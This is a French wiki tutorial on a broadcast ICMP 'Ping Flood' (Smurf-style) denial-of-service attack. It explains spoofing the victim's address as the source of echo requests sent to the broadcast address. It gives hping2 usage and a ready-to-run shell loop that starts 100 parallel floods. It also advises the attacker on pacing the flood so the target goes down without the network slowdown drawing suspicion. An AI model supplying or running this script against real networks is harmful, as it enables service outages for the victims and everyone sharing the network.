Ping Flood

De SeRoM - Wiki
Aller à : navigation, rechercher

Introduction

Le Ping Flood est une attaque réseau de DoS (Deny of Service). Elle va innonder une cible avec l'aide des autres machines présentes sur le réseau. Cette attaque profite d'une faille du protocole TCP/IP.

L'attaque se base sur la construction de paquets. Vous pouvez aller consulter l'article parlant du packet forging.

Rappel théorique du Ping

Ping est une commande permettant d'envoyer une requète ICMP de type 8. Pour le protocole ICMP, le type 8 equivaut à une demande d'écho à un interlocuteur. La réponse réponse sera un paquet ICMP de type 0.

Datagramme IP-ICMP

ICMP est un protocole une couche au dessus d'IP (contrairement à la représentation ci-dessous).

PaquetIP-ICMP.gif

  • En blanc: entête IP
  • En gris: paquet ICMP

Déroulement de l'attaque

Théorie

La machine attaquante va émettre en continu des paquets ICMP forgés comme suit:

  • Source-IP: Adresse de la machine cible.
  • Destination-IP: Adresse de broadcast.
  • Type-ICMP: 8 (echo).
  • Data-ICMP: un maximum de données bidons.

Ainsi on va demander à toutes les machines du réseau de répondre avec les 'datas' bidons à la machine cible malgré que celle-ci n'ait jamais rien demandé.

Pratique

Le but est d'envoyer en continu un paquet; on va donc faire un petit script qui appel une fonction dans une boucle. Cette fonction sera soit un autre script qui forge le paquet (cfr packet forging) soit une commande qui le fait pour nous (comme illustré ci-dessous): hping2.

Usage d'hping2

hping2 <adresse_dest> -I <interface> -a <adresse_source> --icmptype 8 -d <taille_data> -i <intervalle_temps>

Paramètres:

  • -I: Interface Ethernet utilisé
  • -a: Adresse cible usurpée (defini en adresse source des paquets)
  • -d: Pour la taille du paquet en octet
  • -i: L'intervalle de temps (le plus petit permis étant 1micro seconde)
  • -q: Pour quiet
  • --icmptype: Le type de requete ICMP (8 étant la requète echo)

Illustration de ping flood avec hping2

#! /bin/sh

nbX=100
i=0

while test "$i" -lt "$nbX"
do
	hping2 192.168.1.255 -I eth0 -a 192.168.1.1 --icmptype 8 -q -d 1000 -i u1 &
	i=$[$i+1]
done

Conclusion

Cette attaque à un gros inconvégnant. Étant donné qu'il y a un énorme trafic de paquet icmp volontairement alourdi, tout le réseau est ralenti. Il faut dès lors jongler avec le rythme d'envois de requêtes. Il en faut un suffisement grand nombre pour mettre la cible à genoux, mais pas trop pour garder le réseau un minimum utilisable. De plus, un réseau fortement ralenti risque d'éveiller des soupsons, ou du moins que faire en sorte que certaines personnes se demandent pourquoi le réseau tourne si mal.

Une solution pour 'flooder' une cible sans surcharger le réseau est de faire une attaque de SYN Flood.